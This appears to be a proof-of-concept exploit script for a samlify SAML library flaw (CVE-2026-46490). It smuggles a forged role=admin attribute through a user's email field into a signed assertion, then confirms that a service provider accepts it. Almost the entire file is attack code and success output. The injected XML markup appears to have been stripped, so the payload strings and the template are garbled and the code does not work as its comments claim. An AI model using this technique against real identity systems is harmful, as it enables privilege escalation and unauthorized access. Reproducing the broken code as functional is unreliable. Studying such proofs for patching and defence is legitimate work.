// CVE-2026-46490 - samlify < 2.13.0 - XML injection in AttributeValue (signed-assertion privilege escalation)
const fs = require('fs');
const saml = require('samlify');
const validator = require('@authenio/samlify-node-xmllint');
saml.setSchemaValidator(validator);
const idpKey = fs.readFileSync(__dirname + '/idp-key.pem');
const idpCert = fs.readFileSync(__dirname + '/idp-cert.pem');
const spCert = fs.readFileSync(__dirname + '/sp-cert.pem');
// Identity Provider: response template carries an "email" attribute whose value is user-controlled.
const idp = saml.IdentityProvider({
entityID: 'https://idp.lab',
privateKey: idpKey,
signingCert: idpCert,
isAssertionEncrypted: false,
singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }],
loginResponseTemplate: {
context:
'{Issuer}{Issuer}{NameID}{Audience}{AttributeStatement}',
attributes: [
{ name: 'email', valueTag: 'email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
],
},
});
const sp = saml.ServiceProvider({
entityID: 'https://sp.lab',
authnRequestsSigned: false,
wantAssertionsSigned: true,
signingCert: spCert,
assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }],
});
// The attacker only controls their own profile field (email). They inject XML markup that closes the
// email attribute and adds a forged role=admin attribute, then re-opens a throwaway attribute so the
// template's trailing stays balanced.
const INJ =
'eve@evil.com' +
'admin' +
'';
const user = { email: INJ };
(async () => {
const requestInfo = { extract: { request: { id: '_req123' } } };
const { context } = await idp.createLoginResponse(
sp, requestInfo, 'post', user,
// custom tag replacement: map our user.email into the {email} attribute placeholder
(template) => {
const id = idp.entitySetting.generateID ? idp.entitySetting.generateID() : '_' + Date.now();
const now = new Date(); const after = new Date(now.getTime() + 5 * 60000);
const values = {
ID: id, AssertionID: '_a' + id, Issuer: 'https://idp.lab',
IssueInstant: now.toISOString(), Destination: 'https://sp.lab/acs', InResponseTo: '_req123',
NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress', NameID: 'eve@evil.com',
SubjectConfirmationDataNotOnOrAfter: after.toISOString(), SubjectRecipient: 'https://sp.lab/acs',
ConditionsNotBefore: now.toISOString(), ConditionsNotOnOrAfter: after.toISOString(),
Audience: 'https://sp.lab', attrEmail: INJ,
};
return { id, context: saml.SamlLib.replaceTagsByValue(template, values) };
}
);
const xml = Buffer.from(context, 'base64').toString();
console.log('=== injected forged attribute present in the signed assertion? ===');
console.log(/admin/.test(xml)
? '>>> INJECTION CONFIRMED: forged admin smuggled into the signed assertion'
: 'not injected');
// IMPACT: a Service Provider validates the IdP signature (which covers the forged attribute,
// because injection happens BEFORE signing) and consumes role=admin as authoritative.
const idpForSp = saml.IdentityProvider({
entityID: 'https://idp.lab', signingCert: idpCert,
singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }],
});
const spParser = saml.ServiceProvider({
entityID: 'https://sp.lab', authnRequestsSigned: false, wantAssertionsSigned: true,
assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }],
});
try {
const parsed = await spParser.parseLoginResponse(idpForSp, 'post', { body: { SAMLResponse: context } });
const attrs = parsed.extract.attributes || {};
console.log('\n=== SP-side result (signature VALIDATED by samlify) ===');
console.log('extracted attributes:', JSON.stringify(attrs));
console.log(attrs.role === 'admin' || (Array.isArray(attrs.role) && attrs.role.includes('admin'))
? '>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin'
: '(role not surfaced by this SP attribute mapping, but it is present and signed in the assertion)');
} catch (e) {
console.log('\n[SP parse] ' + (e.message || JSON.stringify(e)) + ' (assertion + forged attribute shown above are signed)');
}
})().catch(e => { console.error('ERR', e.message); process.exit(1); });